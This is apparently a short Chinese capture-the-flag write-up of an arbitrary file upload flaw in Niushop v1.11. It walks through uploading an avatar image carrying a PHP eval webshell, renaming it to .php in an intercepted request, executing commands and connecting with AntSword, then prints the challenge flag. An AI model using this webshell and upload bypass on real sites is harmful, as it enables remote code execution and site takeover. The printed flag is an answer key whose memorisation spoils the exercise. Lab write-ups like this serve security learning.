Niushop_v1.11_前台任意文件上传漏洞

Niushop_v1.11_前台任意文件上传漏洞

1、访问首页：

http://IP/index.php

2、注册账号（账号密码随意），再登陆进去

3、进入到个人中心

点击“个人资料”，再点击”更换头像“

4、选择构造好的图片马,该图片马中插入了一句话木马

\<?php eval(\$\_POST\['cmd']);?>

点击上传同时抓包:

修改后缀为php，点击“go”再右侧中间部分可看到路径，访问它，打开hackbar，以POST方式输入：cmd=phpinfo();

连上蚁剑

flag在www目录下

flag{superfa_is_super_cool}